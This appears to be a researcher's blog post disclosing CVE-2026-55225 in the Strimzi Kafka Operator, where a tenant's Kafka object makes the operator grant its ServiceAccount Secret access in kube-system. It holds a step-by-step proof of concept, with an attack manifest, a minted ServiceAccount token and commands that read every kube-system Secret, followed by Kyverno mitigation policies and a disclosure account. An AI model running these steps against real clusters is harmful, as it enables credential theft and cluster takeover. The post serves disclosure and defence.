← all posts
kubernetes CVE-2026-55225

Cluster-wide secret read via the Strimzi operator with a cross-namespace RoleBinding

tl;dr

I found a vulnerability in the Strimzi Kafka Operator where a namespaced user creates a Kafka object and gets to read every Secret in every namespace, kube-system included, by making the operator plant a Role and a RoleBinding wherever the attacker points, bound to a ServiceAccount in the attacker’s own namespace.

01

On the Strimzi operator

A Kubernetes operator is a custom controller: you create an object, it sees it and does privileged work to make the cluster match.

Strimzi runs Apache Kafka on Kubernetes. You declare a Kafka object, and the operator builds the cluster: brokers, ServiceAccounts, RBAC, and a helper that manages users and topics. The part that matters here is user management. For each KafkaUser you create, the operator writes that user’s credentials into a Secret.

By default it does this in the Kafka’s own namespace. But it can watch another namespace instead, so a team manages its Kafka users from a namespace it owns while the cluster runs elsewhere. You ask for that with a field:

spec:
  entityOperator:
    userOperator:
      watchedNamespace: some-other-namespace
    topicOperator:
      watchedNamespace: some-other-namespace

For the operator’s ServiceAccount to write KafkaUser Secrets over there, the operator drops a Role and RoleBinding into that watched namespace, granting CRUD on Secrets.

02

Vulnerability

The value watchedNamespace in the Kafka CR is tenant-controlled. So a namespaced user points watchedNamespace at a namespace they want. The operator reconciles the Kafka, and into the target namespace it writes:

03

PoC

Cluster preparation (kind cluster, operator, tenant RBAC)
kind create cluster --image kindest/node:v1.35.0 --name strimzi-poc --kubeconfig ./kubeconfig
export KUBECONFIG=$PWD/kubeconfig

helm repo add strimzi https://strimzi.io/charts/ >/dev/null
helm install strimzi-operator strimzi/strimzi-kafka-operator \
    --version 1.0.0 \
    --namespace strimzi --create-namespace \
    --set watchAnyNamespace=true \
    --wait

# the attacker: a ServiceAccount with edit in tenant, nothing else
kubectl create ns tenant
kubectl -n tenant create sa tenant-sa
kubectl create rolebinding tenant-edit -n tenant \
    --clusterrole=edit --serviceaccount=tenant:tenant-sa

APISERVER=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}')
kubectl config view --raw -o jsonpath='{.clusters[0].cluster.certificate-authority-data}' | base64 -d > ./ca.crt
TOKEN=$(kubectl -n tenant create token tenant-sa --duration=24h)
kubectl config set-cluster poc --server="$APISERVER" --certificate-authority=./ca.crt --embed-certs=true --kubeconfig=./kubeconfig-tenant
kubectl --kubeconfig=./kubeconfig-tenant config set-credentials tenant --token="$TOKEN"
kubectl --kubeconfig=./kubeconfig-tenant config set-context poc --cluster=poc --user=tenant --namespace=tenant
kubectl --kubeconfig=./kubeconfig-tenant config use-context poc

From here, --kubeconfig=./kubeconfig-tenant means “acting as the tenant.” Everything below runs with that identity.

1. Apply the attacker manifest.

apiVersion: kafka.strimzi.io/v1
kind: KafkaNodePool
metadata:
  name: kafkanodepool-test-case
  namespace: tenant
  labels:
    strimzi.io/cluster: kafka-test-case
spec:
  replicas: 1
  roles: [controller, broker]
  storage:
    type: jbod
    volumes:
      - id: 0
        type: ephemeral
        kraftMetadata: shared
---
apiVersion: kafka.strimzi.io/v1
kind: Kafka
metadata:
  name: kafka-test-case
  namespace: tenant
spec:
  kafka:
    listeners:
      - name: plain
        port: 9092
        type: internal
        tls: false
    config:
      offsets.topic.replication.factor: 1
      transaction.state.log.replication.factor: 1
      transaction.state.log.min.isr: 1
      default.replication.factor: 1
      min.insync.replicas: 1
  entityOperator:
    userOperator:
      watchedNamespace: kube-system   # <-- target
    topicOperator:
      watchedNamespace: kube-system   # <-- target
kubectl --kubeconfig=./kubeconfig-tenant apply -f attack.yaml
sleep 120   # the cluster-operator takes a minute or two

2. Mint a token for the ServiceAccount with kube-system access.

kubectl --kubeconfig=./kubeconfig-tenant apply -f - <<EOF
apiVersion: v1
kind: Secret
metadata:
  name: rbac-pwn
  namespace: tenant
  annotations:
    kubernetes.io/service-account.name: kafka-test-case-entity-operator
type: kubernetes.io/service-account-token
EOF

SATOKEN=$(kubectl --kubeconfig=./kubeconfig-tenant -n tenant get secret rbac-pwn -o jsonpath='{.data.token}' | base64 -d)

3. Read Secrets in kube-system.

KUBECONFIG=/dev/null kubectl --server="$APISERVER" --insecure-skip-tls-verify --token="$SATOKEN" auth whoami
# system:serviceaccount:tenant:kafka-test-case-entity-operator
# (the entity-operator SA the operator created, not our tenant-sa)

KUBECONFIG=/dev/null kubectl --server="$APISERVER" --insecure-skip-tls-verify --token="$SATOKEN" \
  auth can-i get secrets -n kube-system
# yes

KUBECONFIG=/dev/null kubectl --server="$APISERVER" --insecure-skip-tls-verify --token="$SATOKEN" \
  -n kube-system get secrets
# every Secret in kube-system, including SA-token Secrets for cluster controllers
04

Cluster-wide secret read

On vanilla clusters with legacy SA-token Secrets (Kubernetes before 1.24, or manually created), reading one yields a cluster-admin-equivalent identity directly. OpenShift is full of privileged Secrets by default. And real clusters will almost certainly have custom privileged ServiceAccounts with a token in a Secret, for operators and deploy tools of various kinds.

05

Mitigation

Upgrade to Strimzi above 1.0.0. The fix puts the cross-namespace watch behind an environment variable, off by default.

Important: the fix is manual opt-in, not a removal of the feature. If you manually set STRIMZI_ENTITY_OPERATOR_WATCHED_NAMESPACE_ENABLED to true, the same behavior returns.

Alternatively, block the field with an admission policy.

Kyverno policy: block cross-namespace watchedNamespace
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: block-strimzi-cross-ns-watch
spec:
  background: true
  rules:
    - name: user-operator-watchns
      match:
        any:
          - resources:
              kinds:
                - kafka.strimzi.io/*/Kafka
      validate:
        failureAction: Enforce
        message: "entityOperator.userOperator.watchedNamespace ({{ request.object.spec.entityOperator.userOperator.watchedNamespace }}) must equal the Kafka's own namespace ({{ request.namespace }}) (CVE-2026-55225)"
        deny:
          conditions:
            all:
              - key: "{{ request.object.spec.entityOperator.userOperator.watchedNamespace || request.namespace }}"
                operator: NotEquals
                value: "{{ request.namespace }}"
    - name: topic-operator-watchns
      match:
        any:
          - resources:
              kinds:
                - kafka.strimzi.io/*/Kafka
      validate:
        failureAction: Enforce
        message: "entityOperator.topicOperator.watchedNamespace ({{ request.object.spec.entityOperator.topicOperator.watchedNamespace }}) must equal the Kafka's own namespace ({{ request.namespace }}) (CVE-2026-55225)"
        deny:
          conditions:
            all:
              - key: "{{ request.object.spec.entityOperator.topicOperator.watchedNamespace || request.namespace }}"
                operator: NotEquals
                value: "{{ request.namespace }}"
06

Defense in depth

A namespaced RoleBinding, despite the name, does not keep access inside its namespace. It grants a Role to a subject, and that subject can be a ServiceAccount from anywhere. I believe this is not widely known, even though RoleBinding is a default resource everyone uses.

For a multi-tenant cluster I suggest a defense in depth measure: block the pattern at admission and grant rare exceptions where you actually need cross-namespace access.

A Kyverno policy example that rejects any RoleBinding whose subject lives in a different namespace:

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: no-foreign-subject-rolebindings
spec:
  background: true
  rules:
    - name: subject-must-be-same-namespace
      match:
        any:
          - resources:
              kinds:
                - RoleBinding
      validate:
        failureAction: Enforce
        message: "a RoleBinding may only bind ServiceAccount subjects from its own namespace"
        foreach:
          - list: "request.object.subjects"
            deny:
              conditions:
                all:
                  - key: "{{ element.kind }}"
                    operator: Equals
                    value: ServiceAccount
                  - key: "{{ element.namespace || request.namespace }}"
                    operator: NotEquals
                    value: "{{ request.namespace }}"

One caveat: Kyverno ships default resource filters that exclude critical namespaces such as kube-system from admission control. Under stock settings this policy does not fire on RoleBindings created there, so it would not have stopped the kube-system attack above. Narrow the resourceFilters in the Kyverno config to bring those namespaces back under the policy.

07

The disclosure

I first reported the vulnerability to the developer, and the response was that he “does not consider this as a vulnerability,” since watchedNamespace is an intentional feature. To his credit, he was open to discussing how to improve the situation.

Then I reported to Red Hat, since the same vuln also exists in “Streams for Apache Kafka” for OpenShift. It is worse there, in fact: when the operator is OLM-installed, the default OpenShift “edit” role lets a namespaced user create Kafka resources.

With their help we convinced the developer to fix the issue. So I want to thank the Red Hat security team for their fast responses and professionalism.

Developers are not security engineers, so it may take a bit of effort to make a good case: explaining what defines a vulnerability, the threat model most Kubernetes admins have, and similar CVE examples.